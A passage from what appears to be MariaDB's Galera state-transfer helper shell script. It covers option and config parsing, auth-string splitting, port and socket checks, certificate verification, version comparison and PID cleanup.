WSREP_METHOD="${0##*/}" WSREP_METHOD="${WSREP_METHOD%.*}" readonly WSREP_METHOD="${WSREP_METHOD#wsrep_sst_}" if [ -n "${WSREP_SST_OPT_ROLE+x}" ]; then if [ "$WSREP_SST_OPT_ROLE" != 'donor' -a \ "$WSREP_SST_OPT_ROLE" != 'joiner' ] then wsrep_log_error "Unrecognized role: '$WSREP_SST_OPT_ROLE'" exit 22 # EINVAL fi else readonly WSREP_SST_OPT_ROLE='donor' fi readonly WSREP_SST_OPT_PROGRESS # The same argument can be present on the command line several # times, in this case we must take its last value: if [ -n "${MYSQLD_OPT_ARIA_LOG_DIR:-}" -a \ -z "$ARIA_LOG_DIR" ]; then readonly ARIA_LOG_DIR="$MYSQLD_OPT_ARIA_LOG_DIR" fi if [ -n "${MYSQLD_OPT_INNODB_DATA_HOME_DIR:-}" -a \ -z "$INNODB_DATA_HOME_DIR" ]; then readonly INNODB_DATA_HOME_DIR="$MYSQLD_OPT_INNODB_DATA_HOME_DIR" fi if [ -n "${MYSQLD_OPT_INNODB_LOG_GROUP_HOME:-}" -a \ -z "$INNODB_LOG_GROUP_HOME" ]; then readonly INNODB_LOG_GROUP_HOME="$MYSQLD_OPT_INNODB_LOG_GROUP_HOME" fi if [ -n "${MYSQLD_OPT_INNODB_UNDO_DIR:-}" -a \ -z "$INNODB_UNDO_DIR" ]; then readonly INNODB_UNDO_DIR="$MYSQLD_OPT_INNODB_UNDO_DIR" fi if [ -n "${MYSQLD_OPT_INNODB_BUFFER_POOL:-}" -a \ -z "$INNODB_BUFFER_POOL" ]; then readonly INNODB_BUFFER_POOL="$MYSQLD_OPT_INNODB_BUFFER_POOL" fi if [ -n "${MYSQLD_OPT_INNODB_BUFFER_POOL_SIZE:-}" -a \ -z "$INNODB_BUFFER_POOL_SIZE" ]; then readonly INNODB_BUFFER_POOL_SIZE="$MYSQLD_OPT_INNODB_BUFFER_POOL_SIZE" fi if [ -n "${MYSQLD_OPT_LOG_BIN:-}" -a \ -z "$WSREP_SST_OPT_BINLOG" ]; then readonly WSREP_SST_OPT_BINLOG="$MYSQLD_OPT_LOG_BIN" fi if [ -n "${MYSQLD_OPT_LOG_BIN_INDEX:-}" -a \ -z "$WSREP_SST_OPT_BINLOG_INDEX" ]; then WSREP_SST_OPT_BINLOG_INDEX="$MYSQLD_OPT_LOG_BIN_INDEX" fi if [ -n "${MYSQLD_OPT_DATADIR:-}" -a \ -z "$WSREP_SST_OPT_DATA" ]; then readonly WSREP_SST_OPT_DATA="$MYSQLD_OPT_DATADIR" fi if [ -n "${MYSQLD_OPT_LOG_BASENAME:-}" -a \ -z "$WSREP_SST_OPT_LOG_BASENAME" ]; then readonly WSREP_SST_OPT_LOG_BASENAME="$MYSQLD_OPT_LOG_BASENAME" fi # If the --log-bin option is present without a value, then # set WSREP_SST_OPT_BINLOG value using other arguments: if [ -z "$WSREP_SST_OPT_BINLOG" -a -n "${MYSQLD_OPT_LOG_BIN+x}" ]; then if [ -n "$WSREP_SST_OPT_LOG_BASENAME" ]; then # If the WSREP_SST_OPT_BINLOG variable is not set, but # --log-basename is present among the arguments to mysqld, # then set WSREP_SST_OPT_BINLOG equal to the base name # with the "-bin" suffix: readonly WSREP_SST_OPT_BINLOG="$WSREP_SST_OPT_LOG_BASENAME-bin" else # Take the default name: readonly WSREP_SST_OPT_BINLOG='mysql-bin' fi fi # Reconstructing the command line arguments that control the innodb # and binlog options: if [ -n "$WSREP_SST_OPT_LOG_BASENAME" ]; then if [ -n "$WSREP_SST_OPT_MYSQLD" ]; then WSREP_SST_OPT_MYSQLD="--log-basename='$WSREP_SST_OPT_LOG_BASENAME' $WSREP_SST_OPT_MYSQLD" else WSREP_SST_OPT_MYSQLD="--log-basename='$WSREP_SST_OPT_LOG_BASENAME'" fi fi if [ -n "$ARIA_LOG_DIR" ]; then INNOEXTRA="$INNOEXTRA --aria-log-dir-path='$ARIA_LOG_DIR'" fi if [ -n "$INNODB_DATA_HOME_DIR" ]; then INNOEXTRA="$INNOEXTRA --innodb-data-home-dir='$INNODB_DATA_HOME_DIR'" fi if [ -n "$INNODB_LOG_GROUP_HOME" ]; then INNOEXTRA="$INNOEXTRA --innodb-log-group-home-dir='$INNODB_LOG_GROUP_HOME'" fi if [ -n "$INNODB_UNDO_DIR" ]; then INNOEXTRA="$INNOEXTRA --innodb-undo-directory='$INNODB_UNDO_DIR'" fi if [ -n "$INNODB_BUFFER_POOL" ]; then INNOEXTRA="$INNOEXTRA --innodb-buffer-pool-filename='$INNODB_BUFFER_POOL'" fi if [ -n "$INNODB_BUFFER_POOL_SIZE" ]; then INNOEXTRA="$INNOEXTRA --innodb-buffer-pool-size='$INNODB_BUFFER_POOL_SIZE'" fi if [ -n "$WSREP_SST_OPT_BINLOG" ]; then INNOEXTRA="$INNOEXTRA --log-bin='$WSREP_SST_OPT_BINLOG'" if [ -n "$WSREP_SST_OPT_BINLOG_INDEX" ]; then if [ -n "$WSREP_SST_OPT_MYSQLD" ]; then WSREP_SST_OPT_MYSQLD="--log-bin-index='$WSREP_SST_OPT_BINLOG_INDEX' $WSREP_SST_OPT_MYSQLD" else WSREP_SST_OPT_MYSQLD="--log-bin-index='$WSREP_SST_OPT_BINLOG_INDEX'" fi fi fi readonly INNODB_FORCE_RECOVERY readonly WSREP_SST_OPT_MYSQLD get_binlog() { # if no command line argument and WSREP_SST_OPT_BINLOG is not set, # try to get it from my.cnf: if [ -z "$WSREP_SST_OPT_BINLOG" ]; then WSREP_SST_OPT_BINLOG=$(parse_cnf '--mysqld' 'log-bin') fi # if no command line argument and WSREP_SST_OPT_BINLOG_INDEX is not set, # try to get it from my.cnf: if [ -z "$WSREP_SST_OPT_BINLOG_INDEX" ]; then WSREP_SST_OPT_BINLOG_INDEX=$(parse_cnf '--mysqld' 'log-bin-index') fi # if no command line argument and WSREP_SST_OPT_LOG_BASENAME is not set, # then try to get it from my.cnf: if [ -z "$WSREP_SST_OPT_LOG_BASENAME" ]; then WSREP_SST_OPT_LOG_BASENAME=$(parse_cnf '--mysqld' 'log-basename') fi if [ -z "$WSREP_SST_OPT_BINLOG" ]; then # If the log-bin option is specified without a parameter, # then we need to build the name of the index file according # to the rules described in the server documentation: if [ $(in_config '--mysqld' 'log-bin') -ne 0 ]; then if [ -n "$WSREP_SST_OPT_LOG_BASENAME" ]; then # If the WSREP_SST_OPT_BINLOG variable is not set, but # --log-basename is present among the arguments of mysqld, # then set WSREP_SST_OPT_BINLOG equal to the base name # with the "-bin" suffix: readonly WSREP_SST_OPT_BINLOG="$WSREP_SST_OPT_LOG_BASENAME-bin" else # Take the default name: readonly WSREP_SST_OPT_BINLOG='mysql-bin' fi fi fi if [ -n "$WSREP_SST_OPT_BINLOG" ]; then # If the name of the index file is not specified, then we will build # it according to the specifications for the server: if [ -z "$WSREP_SST_OPT_BINLOG_INDEX" ]; then if [ -n "$WSREP_SST_OPT_LOG_BASENAME" ]; then # If the WSREP_SST_OPT_BINLOG_INDEX variable is not set, but # --log-basename is present among the arguments of mysqld, # then set WSREP_SST_OPT_BINLOG_INDEX equal to the base name # with the "-bin" suffix: readonly WSREP_SST_OPT_BINLOG_INDEX="$WSREP_SST_OPT_LOG_BASENAME-bin.index" else # Use the default name (note that base of this name # is already defined above): readonly WSREP_SST_OPT_BINLOG_INDEX="$WSREP_SST_OPT_BINLOG.index" fi else # Remove all directories from the index file path: local filename="${WSREP_SST_OPT_BINLOG_INDEX##*/}" # Check if the index file name contains the extension: if [ "${filename%.*}" = "$filename" ]; then # Let's add the default extension (".index"): readonly WSREP_SST_OPT_BINLOG_INDEX="$WSREP_SST_OPT_BINLOG_INDEX.index" else readonly WSREP_SST_OPT_BINLOG_INDEX fi fi fi } # Check the presence of the port value and, if necessary, transfer # the port number from the address to the WSREP_SST_OPT_PORT variable # or vice versa, and also, if necessary, substitute the missing port # value into the address value: if [ -n "$WSREP_SST_OPT_ADDR_PORT" ]; then if [ -n "$WSREP_SST_OPT_PORT" ]; then if [ "$WSREP_SST_OPT_PORT" != "$WSREP_SST_OPT_ADDR_PORT" ]; then echo "WSREP_SST: [ERROR] port in --port=$WSREP_SST_OPT_PORT" \ "differs from port in --address=$WSREP_SST_OPT_ADDR" >&2 exit 2 fi else # If the address contains a port number, assign it to # the corresponding variable: readonly WSREP_SST_OPT_PORT="$WSREP_SST_OPT_ADDR_PORT" fi else # If the port is missing, take the default port: if [ -z "$WSREP_SST_OPT_PORT" ]; then readonly WSREP_SST_OPT_PORT=4444 fi WSREP_SST_OPT_ADDR_PORT="$WSREP_SST_OPT_PORT" fi # Let's construct a new value for the address with the port: sst_path="${WSREP_SST_OPT_PATH:+/}$WSREP_SST_OPT_PATH" WSREP_SST_OPT_ADDR="$WSREP_SST_OPT_HOST:$WSREP_SST_OPT_PORT$sst_path" readonly WSREP_SST_OPT_ADDR readonly WSREP_SST_OPT_ADDR_PORT # try to use my_print_defaults, mysql and mysqldump that come # with the sources (for MTR suite): script_binary=$(dirname "$0") SCRIPTS_DIR=$(cd "$script_binary"; pwd) EXTRA_DIR="$SCRIPTS_DIR/../extra" if [ -x "$SCRIPTS_DIR/my_print_defaults" ]; then MY_PRINT_DEFAULTS="$SCRIPTS_DIR/my_print_defaults" elif [ -x "$EXTRA_DIR/my_print_defaults" ]; then MY_PRINT_DEFAULTS="$EXTRA_DIR/my_print_defaults" else MY_PRINT_DEFAULTS=$(commandex 'my_print_defaults') if [ -z "$MY_PRINT_DEFAULTS" ]; then wsrep_log_error "my_print_defaults not found in path" exit 2 fi fi readonly MY_PRINT_DEFAULTS wsrep_defaults="$WSREP_SST_OPT_DEFAULTS" wsrep_defaults="$wsrep_defaults${WSREP_SST_OPT_EXTRA_DEFAULTS:+ }$WSREP_SST_OPT_EXTRA_DEFAULTS" wsrep_defaults="$wsrep_defaults${WSREP_SST_OPT_SUFFIX_DEFAULT:+ }$WSREP_SST_OPT_SUFFIX_DEFAULT" readonly WSREP_SST_OPT_CONF="${wsrep_defaults:+ }$wsrep_defaults" wsrep_defaults="$WSREP_SST_OPT_DEFAULT" wsrep_defaults="$wsrep_defaults${WSREP_SST_OPT_EXTRA_DEFAULT:+ }$WSREP_SST_OPT_EXTRA_DEFAULT" wsrep_defaults="$wsrep_defaults${WSREP_SST_OPT_SUFFIX_DEFAULT:+ }$WSREP_SST_OPT_SUFFIX_DEFAULT" readonly WSREP_SST_OPT_CONF_UNQUOTED="${wsrep_defaults:+ }$wsrep_defaults" # # User can specify mariabackup specific settings that will be used during sst # process like encryption, etc. Parse such configuration option. # # 1st parameter: group (config file section like sst) or # my_print_defaults argument (like --mysqld) # 2nd parameter: var : name of the variable in the section, e.g. server-id # 3rd parameter: default value for the parameter # parse_cnf() { local groups="$1" local var="$2" local reval="" # normalize the variable names specified in the .cnf file # (user can use '_' or '-', for example, log-bin or log_bin), # then search for the last instance of the desired variable # and finally get the value of that variable (if the variable # was specified several times - we use only its last instance): local pattern='BEGIN {OFS=FS="="} {sub(/^--loose/,"-",$0); gsub(/_/,"-",$1); if ($1=="--'"$var"'") lastval=substr($0,length($1)+2)} END {print lastval}' while [ -n "$groups" ]; do # Remove the largest suffix starting with the '|' character: local group="${groups%%\|*}" # Remove the remainder (the group name) from the rest # of the groups list (as if it were a prefix): if [ "$group" != "$groups" ]; then groups="${groups#*\|}" else groups="" fi # If the group name is the same as the "mysqld" without "--" prefix, # then try to use it together with the group suffix: if [ "$group" = 'mysqld' -a -n "$WSREP_SST_OPT_SUFFIX_VALUE" ]; then reval=$("$MY_PRINT_DEFAULTS" \ ${WSREP_SST_OPT_DEFAULT:+"$WSREP_SST_OPT_DEFAULT"} \ ${WSREP_SST_OPT_EXTRA_DEFAULT:+"$WSREP_SST_OPT_EXTRA_DEFAULT"} \ ${WSREP_SST_OPT_SUFFIX_DEFAULT:+"$WSREP_SST_OPT_SUFFIX_DEFAULT"} \ "mysqld$WSREP_SST_OPT_SUFFIX_VALUE" | awk "$pattern") if [ -n "$reval" ]; then break fi fi # Let's try to use the group name as it is: reval=$("$MY_PRINT_DEFAULTS" \ ${WSREP_SST_OPT_DEFAULT:+"$WSREP_SST_OPT_DEFAULT"} \ ${WSREP_SST_OPT_EXTRA_DEFAULT:+"$WSREP_SST_OPT_EXTRA_DEFAULT"} \ ${WSREP_SST_OPT_SUFFIX_DEFAULT:+"$WSREP_SST_OPT_SUFFIX_DEFAULT"} \ "$group" | awk "$pattern") if [ -n "$reval" ]; then break fi done # Use default if we haven't found a value: [ -z "$reval" ] && reval="${3:-}" # Truncate spaces: [ -n "$reval" ] && reval=$(trim_string "$reval") echo "$reval" } # # This function simply checks for the presence of the parameter # in the config file, but does not return its value. It returns "1" # (true) even if the parameter is present in the configuration file # without a value: # in_config() { local groups="$1" local var="$2" local found=0 # normalize the variable names specified in the .cnf file # (user can use '_' or '-', for example, log-bin or log_bin), # then search for the last instance(s) of the desired variable: local pattern='BEGIN {OFS=FS="="; found=0} {sub(/^--loose/,"-",$0); gsub(/_/,"-",$1); if ($1=="--'"$var"'") found=1} END {print found}' while [ -n "$groups" ]; do # Remove the largest suffix starting with the '|' character: local group="${groups%%\|*}" # Remove the remainder (the group name) from the rest # of the groups list (as if it were a prefix): if [ "$group" != "$groups" ]; then groups="${groups#*\|}" else groups="" fi # If the group name is the same as the "mysqld" without "--" prefix, # then try to use it together with the group suffix: if [ "$group" = 'mysqld' -a -n "$WSREP_SST_OPT_SUFFIX_VALUE" ]; then found=$("$MY_PRINT_DEFAULTS" \ ${WSREP_SST_OPT_DEFAULT:+"$WSREP_SST_OPT_DEFAULT"} \ ${WSREP_SST_OPT_EXTRA_DEFAULT:+"$WSREP_SST_OPT_EXTRA_DEFAULT"} \ ${WSREP_SST_OPT_SUFFIX_DEFAULT:+"$WSREP_SST_OPT_SUFFIX_DEFAULT"} \ "mysqld$WSREP_SST_OPT_SUFFIX_VALUE" | awk "$pattern") if [ $found -ne 0 ]; then break fi fi # Let's try to use the group name as it is: found=$($MY_PRINT_DEFAULTS \ ${WSREP_SST_OPT_DEFAULT:+"$WSREP_SST_OPT_DEFAULT"} \ ${WSREP_SST_OPT_EXTRA_DEFAULT:+"$WSREP_SST_OPT_EXTRA_DEFAULT"} \ ${WSREP_SST_OPT_SUFFIX_DEFAULT:+"$WSREP_SST_OPT_SUFFIX_DEFAULT"} \ "$group" | awk "$pattern") if [ $found -ne 0 ]; then break fi done echo $found } # Get rid of incorrect values resulting from substitution # in programs external to the script: if [ "$WSREP_SST_OPT_USER" = '(null)' ]; then WSREP_SST_OPT_USER="" fi if [ "$WSREP_SST_OPT_PSWD" = '(null)' ]; then WSREP_SST_OPT_PSWD="" fi if [ "$WSREP_SST_OPT_AUTH" = '(null)' ]; then WSREP_SST_OPT_AUTH="" fi # Let's read the value of the authentication string from the # configuration file so that it does not go to the command line # and does not appear in the ps output: if [ -z "$WSREP_SST_OPT_AUTH" ]; then WSREP_SST_OPT_AUTH=$(parse_cnf 'sst' 'wsrep-sst-auth') fi # Splitting WSREP_SST_OPT_AUTH as "user:password" pair: if [ -n "$WSREP_SST_OPT_AUTH" ]; then # Extract username as shortest prefix up to first ':' character: WSREP_SST_OPT_AUTH_USER="${WSREP_SST_OPT_AUTH%%:*}" if [ -z "$WSREP_SST_OPT_USER" ]; then # if the username is not in the command line arguments, # set the username and password using WSREP_SST_OPT_AUTH # from the environment: WSREP_SST_OPT_USER="$WSREP_SST_OPT_AUTH_USER" WSREP_SST_OPT_PSWD="${WSREP_SST_OPT_AUTH#*:}" elif [ "$WSREP_SST_OPT_USER" = "$WSREP_SST_OPT_AUTH_USER" ]; then # If the username in the command line arguments and in # the environment variable are the same, set the password # if it was not specified in the command line: if [ -z "$WSREP_SST_OPT_PSWD" ]; then WSREP_SST_OPT_PSWD="${WSREP_SST_OPT_AUTH#*:}" fi else # The username is passed through the command line and does # not match the username in the environment variable - ignore # the environment and rebuild the authentication parameters: WSREP_SST_OPT_AUTH="$WSREP_SST_OPT_USER:$WSREP_SST_OPT_PSWD" fi fi WSREP_SST_OPT_REMOTE_AUTH="${WSREP_SST_OPT_REMOTE_AUTH:-}" WSREP_SST_OPT_REMOTE_USER= WSREP_SST_OPT_REMOTE_PSWD= if [ -n "$WSREP_SST_OPT_REMOTE_AUTH" ]; then # Split auth string at the last ':' WSREP_SST_OPT_REMOTE_USER="${WSREP_SST_OPT_REMOTE_AUTH%%:*}" WSREP_SST_OPT_REMOTE_PSWD="${WSREP_SST_OPT_REMOTE_AUTH#*:}" fi readonly WSREP_SST_OPT_USER readonly WSREP_SST_OPT_PSWD readonly WSREP_SST_OPT_AUTH readonly WSREP_SST_OPT_REMOTE_USER readonly WSREP_SST_OPT_REMOTE_PSWD readonly WSREP_SST_OPT_REMOTE_AUTH if [ -n "$WSREP_SST_OPT_DATA" ]; then SST_PROGRESS_FILE="$WSREP_SST_OPT_DATA/sst_in_progress" else SST_PROGRESS_FILE="" fi wsrep_cleanup_progress_file() { if [ -n "$SST_PROGRESS_FILE" -a -f "$SST_PROGRESS_FILE" ]; then rm -f "$SST_PROGRESS_FILE" 2>/dev/null || : fi } wsrep_check_program() { local prog="$1" local cmd=$(commandex "$prog") if [ -z "$cmd" ]; then wsrep_log_error "'$prog' not found in path" return 2 # no such file or directory fi } wsrep_check_programs() { local ret=0 while [ $# -gt 0 ]; do wsrep_check_program "$1" || ret=$? shift done return $ret } wsrep_check_datadir() { if [ -z "$WSREP_SST_OPT_DATA" ]; then wsrep_log_error \ "The '--datadir' parameter must be passed to the SST script" exit 2 fi } get_openssl() { # If the OPENSSL_BINARY variable is already defined, just return: if [ -n "${OPENSSL_BINARY+x}" ]; then return 0 fi # Let's look for openssl: OPENSSL_BINARY=$(commandex 'openssl') if [ -z "$OPENSSL_BINARY" ]; then OPENSSL_BINARY='/usr/bin/openssl' if [ ! -x "$OPENSSL_BINARY" ]; then OPENSSL_BINARY="" fi fi readonly OPENSSL_BINARY } # # Generate a string equivalent to 16 random bytes # wsrep_gen_secret() { get_openssl if [ -n "$OPENSSL_BINARY" ]; then "$OPENSSL_BINARY" rand -hex 16 elif [ -n "$BASH_VERSION" ]; then printf '%04x%04x%04x%04x%04x%04x%04x%04x' \ $RANDOM $RANDOM $RANDOM $RANDOM \ $RANDOM $RANDOM $RANDOM $RANDOM elif [ $with_printf -ne 0 -a -n "$(commandex cksum)" ]; then printf '%08x%08x%08x%08x' \ $(head -8 /dev/urandom | cksum | cut -d ' ' -f1) \ $(head -8 /dev/urandom | cksum | cut -d ' ' -f1) \ $(head -8 /dev/urandom | cksum | cut -d ' ' -f1) \ $(head -8 /dev/urandom | cksum | cut -d ' ' -f1) else wsrep_log_error "Unable to generate 16-byte secret" exit 22 fi } # # Checking if the address passed to us is local. # If the second parameter is nonzero, then this function # does not check for matches with local domain names: # is_local_ip() { # Rapid recognition of the most common cases: [ "$1" = '127.0.0.1' -o \ "$1" = '127.0.0.2' -o \ "$1" = 'localhost' -o \ "$1" = '::1' ] && return 0 # If the address starts with "127." this is probably a local # address, but we need to clarify what follows this prefix: if [ "${1#127.}" != "$1" ]; then # All 127.0.0.0/8 addresses are local: if echo "$1" | grep -q -E '^127\.[0-9]+\.[0-9]+\.[0-9]+$'; then return 0 fi fi # If the second parameter is nonzero, then we will skip # the domain name check: if [ "${2:-0}" -eq 0 ]; then # We consider all the names of a given host to be local addresses: [ "$1" = "$(hostname -s 2>/dev/null)" -o \ "$1" = "$(hostname -f 2>/dev/null)" -o \ "$1" = "$(hostname -d 2>/dev/null)" ] && return 0 fi # If the address contains anything other than digits # and separators, it is not a local address: [ "${1#*[!0-9.]}" != "$1" ] && \ [ "${1#*[!0-9A-Fa-f:\[\]]}" != "$1" ] && return 1 # Now let's check if the given address is assigned to # one of the network cards: local ip_util=$(commandex 'ip') if [ -n "$ip_util" ]; then # ip address show ouput format is " inet[6]
/": "$ip_util" address show \ | grep -o -E '^[[:space:]]*inet.?[[:space:]]+[^[:space:]]+/' \ | grep -qw -F -- "$1/" && return 0 else local ifconfig_util=$(commandex 'ifconfig') if [ -n "$ifconfig_util" ]; then # ifconfig output format is " inet[6]
...": "$ifconfig_util" \ | grep -o -E '^[[:space:]]*inet.?[[:space:]]+[^[:space:]]+' \ | grep -qw -F -- "$1" && return 0 fi fi return 1 } check_sockets_utils() { # The presence of any of these utilities is enough for us: lsof_available=0 sockstat_available=0 ss_available=0 socket_utility="$(commandex ss)" if [ -n "$socket_utility" ]; then socket_uname='ss' ss_available=1 ss_opts='-nlp' # Let's check that ss has an option to skip headers: if $socket_utility -h 2>&1 | grep -qw -F -- '-H'; then ss_available=2 ss_opts="${ss_opts}H" fi else socket_utility="$(commandex sockstat)" if [ -n "$socket_utility" ]; then socket_uname='sockstat' sockstat_available=1 sockstat_opts='-p' if [ "$OS" = 'FreeBSD' ]; then # sockstat in FreeBSD is different from other systems, # let's denote it with a different value: sockstat_available=2 sockstat_opts='-46lq -P tcp -p' fi else socket_utility="$(commandex lsof)" if [ -n "$socket_utility" ]; then socket_uname='lsof' lsof_available=1 lsof_opts='-Pnl' # Let's check that lsof has an option to bypass blocking: if $socket_utility -h 2>&1 | grep -qw -F -- '-b'; then lsof_available=2 lsof_opts="$lsof_opts -b -w" else lsof_opts="$lsof_opts -S 10" fi else wsrep_log_error "Neither lsof, nor sockstat, nor ss tool" \ "were found in the path. Make sure you have" \ "at least one of them installed." exit 2 # ENOENT fi fi fi wsrep_log_info "'$socket_uname' is selected as a socket" \ "information utility." } # # Check if the port is in the "listen" state. # The first parameter is the PID of the process that should # listen on the port - if it is not known, you can specify # an empty string or zero. # The second parameter is the port number. # The third parameter is a list of the names of utilities # (via "|") that can listen on this port during the state # transfer. # check_port() { local pid="${1:-0}" local port="$2" local utils="$3" [ $pid -le 0 ] && pid='[0-9]+' local rc=2 # ENOENT if [ $ss_available -ne 0 ]; then $socket_utility $ss_opts -t "( sport = :$port )" 2>/dev/null | \ grep -q -E "[[:space:]]users:[[:space:]]?\\(.*\\(\"($utils)[^[:space:]]*\"[^)]*,pid=$pid(,[^)]*)?\\)" && rc=0 elif [ $sockstat_available -ne 0 ]; then if [ $sockstat_available -gt 1 ]; then # The sockstat command on FreeBSD does not return # the connection state without special option, but # it supports filtering by connection state: local out out=$($socket_utility $sockstat_opts "$port" 2>/dev/null) || rc=16 # EBUSY # On FreeBSD, the sockstat utility may exit without # any output due to locking issues in certain versions; # let's return a special exit code in such cases: if [ $rc -eq 16 -o -z "$out" ]; then return 16 # EBUSY fi echo "$out" | \ grep -q -E "^[^[:space:]]+[[:space:]]+($utils)[^[:space:]]*[[:space:]]+$pid([[:space:]]|\$)" && rc=0 else $socket_utility $sockstat_opts "$port" 2>/dev/null | \ grep -q -E "^[^[:space:]]+[[:space:]]+($utils)[^[:space:]]*[[:space:]]+$pid([[:space:]].+)?[[:space:]]LISTEN([[:space:]]|\$)" && rc=0 fi elif [ $lsof_available -ne 0 ]; then $socket_utility $lsof_opts -i ":$port" 2>/dev/null | \ grep -q -E "^($utils)[^[:space:]]*[[:space:]]+$pid([[:space:]].+)?[[:space:]]\\(LISTEN\\)([[:space:]]|\$)" && rc=0 else wsrep_log_error "Unknown sockets utility" exit 2 # ENOENT fi return $rc } # # If the ssl_dhparams variable is already set, uses that as a source # of dh parameters for OpenSSL. Otherwise, looks for dhparams.pem in # the datadir, and creates it there if it can't find the file. # check_for_dhparams() { ssl_dhparams="$DATA/dhparams.pem" get_openssl if [ -n "$OPENSSL_BINARY" ]; then wsrep_log_info \ "Could not find dhparams file, creating $ssl_dhparams" local bug=0 local errmsg errmsg=$("$OPENSSL_BINARY" \ dhparam -out "$ssl_dhparams" -dsaparam 2048 2>&1) || bug=1 if [ $bug -ne 0 ]; then wsrep_log_info "run: \"$OPENSSL_BINARY\" dhparam"\ "-out \"$ssl_dhparams\" -dsaparam 2048" wsrep_log_info "output: $errmsg" wsrep_log_error "******** ERROR *****************************************" wsrep_log_error "* Could not create the dhparams.pem file with OpenSSL. *" wsrep_log_error "********************************************************" ssl_dhparams="" fi else # Rollback: if openssl is not installed, then use # the default parameters: ssl_dhparams="" fi } # # Verifies that the CA file verifies the certificate. # Doing this here lets us generate better error messages. # # 1st param: path to the CA file. # 2nd param: path to the certificate. # verify_ca_matches_cert() { local cert="$1" local ca="$2" local cap="$3" local readable=1; [ ! -r "$cert" ] && readable=0 [ -n "$ca" -a ! -r "$ca" ] && readable=0 [ -n "$cap" -a ! -r "$cap" ] && readable=0 if [ $readable -eq 0 ]; then wsrep_log_error \ "Both PEM file and CA file (or path) must be readable" exit 22 fi # If the openssl utility is not installed, then # we will not do this certificate check: get_openssl if [ -z "$OPENSSL_BINARY" ]; then wsrep_log_info "openssl utility not found" return fi local not_match=0 local errmsg errmsg=$("$OPENSSL_BINARY" verify -verbose \ ${ca:+ -CAfile} ${ca:+ "$ca"} \ ${cap:+ -CApath} ${cap:+ "$cap"} \ "$cert" 2>&1) || not_match=1 if [ $not_match -eq 1 ]; then wsrep_log_info "run: \"$OPENSSL_BINARY\" verify -verbose${ca:+ -CAfile \"$ca\"}${cap:+ -CApath \"$cap\"} \"$cert\"" wsrep_log_info "output: $errmsg" wsrep_log_error "******** FATAL ERROR ********************************************" wsrep_log_error "* The certifcate and CA (certificate authority) do not match. *" wsrep_log_error "* It does not appear that the certificate was issued by the CA. *" wsrep_log_error "* Please check your certificate and CA files. *" wsrep_log_error "*****************************************************************" exit 22 fi } # # Verifies that the certificate matches the private key. # Doing this will save us having to wait for a timeout that would # otherwise occur. # # 1st param: path to the certificate. # 2nd param: path to the private key. # verify_cert_matches_key() { local cert="$1" local key="$2" if [ ! -r "$key" -o ! -r "$cert" ]; then wsrep_log_error "Both the certificate file and the key file" \ "must be readable" exit 22 fi # If the openssl utility is not installed, then # we will not do this certificate check: get_openssl if [ -z "$OPENSSL_BINARY" ]; then wsrep_log_info "openssl utility not found" return fi # Generate the public key from the cert and the key. # They should match (otherwise we can't create an SSL connection). local pk1=$("$OPENSSL_BINARY" x509 -in "$cert" -pubkey -noout 2>/dev/null || :) local pk2=$("$OPENSSL_BINARY" pkey -in "$key" -pubout 2>/dev/null || :) if [ "$pk1" != "$pk2" ]; then wsrep_log_error "******************* FATAL ERROR *****************" wsrep_log_error "* The certificate and private key do not match. *" wsrep_log_error "* Please check your certificate and key files. *" wsrep_log_error "*************************************************" exit 22 fi } # # Compares two version strings. # The first parameter is the version to be checked; # The second parameter is the minimum version required; # Returns 1 (failure) if $1 >= $2, 0 (success) otherwise. # check_for_version() { local y1="${1#*.}" [ "$y1" = "$1" ] && y1="" local z1="${y1#*.}" [ "$z1" = "$y1" ] && z1="" local w1="${z1#*.}" [ "$w1" = "$z1" ] && w1="" local x1="${1%%.*}" y1="${y1%%.*}" z1="${z1%%.*}" w1="${w1%%.*}" [ -z "$y1" ] && y1=0 [ -z "$z1" ] && z1=0 [ -z "$w1" ] && w1=0 local y2="${2#*.}" [ "$y2" = "$2" ] && y2="" local z2="${y2#*.}" [ "$z2" = "$y2" ] && z2="" local w2="${z2#*.}" [ "$w2" = "$z2" ] && w2="" local x2="${2%%.*}" y2="${y2%%.*}" z2="${z2%%.*}" w2="${w2%%.*}" [ -z "$y2" ] && y2=0 [ -z "$z2" ] && z2=0 [ -z "$w2" ] && w2=0 [ $x1 -lt $x2 ] && return 1 [ $x1 -gt $x2 ] && return 0 [ $y1 -lt $y2 ] && return 1 [ $y1 -gt $y2 ] && return 0 [ $z1 -lt $z2 ] && return 1 [ $z1 -gt $z2 ] && return 0 [ $w1 -lt $w2 ] && return 1 return 0 } # # Check whether process is still running. # The first parameter contains the name of the PID file. # The second parameter is the flag of the need to delete # the PID file. # If the second parameter is not zero and not empty, # then if the process terminates, the corresponding # PID file will be deleted. # This function also sets the CHECK_PID variable to zero # if the process has already exited, or writes the PID # of the process there if it is still running. # check_pid() { local pid_file="$1" if [ -r "$pid_file" ]; then local pid=$(cat "$pid_file" 2>/dev/null || :) if [ -n "$pid" ]; then if [ $pid -gt 0 ]; then if ps -p $pid >/dev/null 2>&1; then CHECK_PID=$pid return 0 fi fi fi local remove=${2:-0} if [ $remove -ne 0 ]; then rm -f "$pid_file" || : fi fi local config="${3:-}" if [ -n "$config" -a -f "$config" ]; then rm -f "$config" || : fi CHECK_PID=0 return 1 } # # Checking that the process with the specified PID is still # running and killing it in this case by sending SIGTERM # (using the "kill" operation). # The first parameter contains PID of the process. # The second and third parameters (both optional) are the names # of the PID and the configuration files, which should be removed # after the process ends. # If the first parameter (PID of the process) is zero, then # the function immediately deletes the PID and the configuration # files (if specified), without any additional checks. # cleanup_pid() { local pid=$1 local pid_file="${2:-}" local config="${3:-}" if [ $pid -gt 0 ]; then if ps -p $pid >/dev/null 2>&1; then if kill $pid >/dev/null 2>&1; then sleep 0.5 local round=0 local force=0 while ps -p $pid >/dev/null 2>&1; do sleep 1 round=$(( round+1 )) if [ $round -eq 16 ]; then if [ $force -eq 0 ]; then round=8 force=1 kill -9 $pid >/dev/null 2>&1 || : sleep 0.5 else return 1 fi fi done elif ps -p $pid >/dev/null 2>&1; then wsrep_log_warning "Unable to kill PID=$pid${pid_file:+ ($pid_file)}" return 1 fi fi fi [ -n "$pid_file" -a -f "$pid_file" ] && rm -f "$pid_file" || : [ -n "$config" -a -f "$config" ] && rm -f "$config" || : return 0 } nproc="" get_proc() { if [ -z "$nproc" ]; then set +e if [ "$OS" = 'Linux' ]; then nproc=$(grep -cw -E '^processor' /proc/cpuinfo 2>/dev/null || :) elif [ "$OS" = 'Darwin' -o "$OS" = 'FreeBSD' ]; then nproc=$(sysctl -n hw.ncpu) fi set -e if [ -z "$nproc" ] || [ $nproc -eq 0 ]; then nproc=1 fi fi } 